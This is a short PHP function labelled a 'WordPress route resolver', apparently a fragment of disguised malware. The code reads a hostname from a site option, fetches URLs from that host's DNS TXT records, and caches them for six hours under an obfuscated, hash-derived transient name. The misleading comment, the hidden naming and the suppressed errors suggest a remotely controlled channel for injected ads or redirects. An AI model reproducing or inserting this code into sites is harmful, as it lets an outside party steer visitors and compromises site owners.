// WordPress route resolver function _wpx_resolve_ads($opt_key, $dns_key, $fallback_key) { static $m = []; if (isset($m[$opt_key])) return $m[$opt_key]; $k = '_wp_src_' . base_convert(abs(crc32($opt_key)), 10, 36); $hit = get_transient($k); if ($hit !== false) return $m[$opt_key] = $hit; $c = json_decode((string) get_option($opt_key, '{}'), true) ?: []; $h = $c[$dns_key] ?? ''; $fb = (array) ($c[$fallback_key] ?? []); $out = []; if ($h && function_exists('dns_get_record')) { foreach ((array) @dns_get_record($h, DNS_TXT) as $r) { $t = $r['txt'] ?? $r['entries'][0] ?? ''; if ($t && filter_var(strtok($t, '?'), FILTER_VALIDATE_URL)) $out[] = $t; } } $out = $out ?: $fb; set_transient($k, $out, 21600); // 6 hours return $m[$opt_key] = $out; } YZ-BM-5256A-BL – wordpress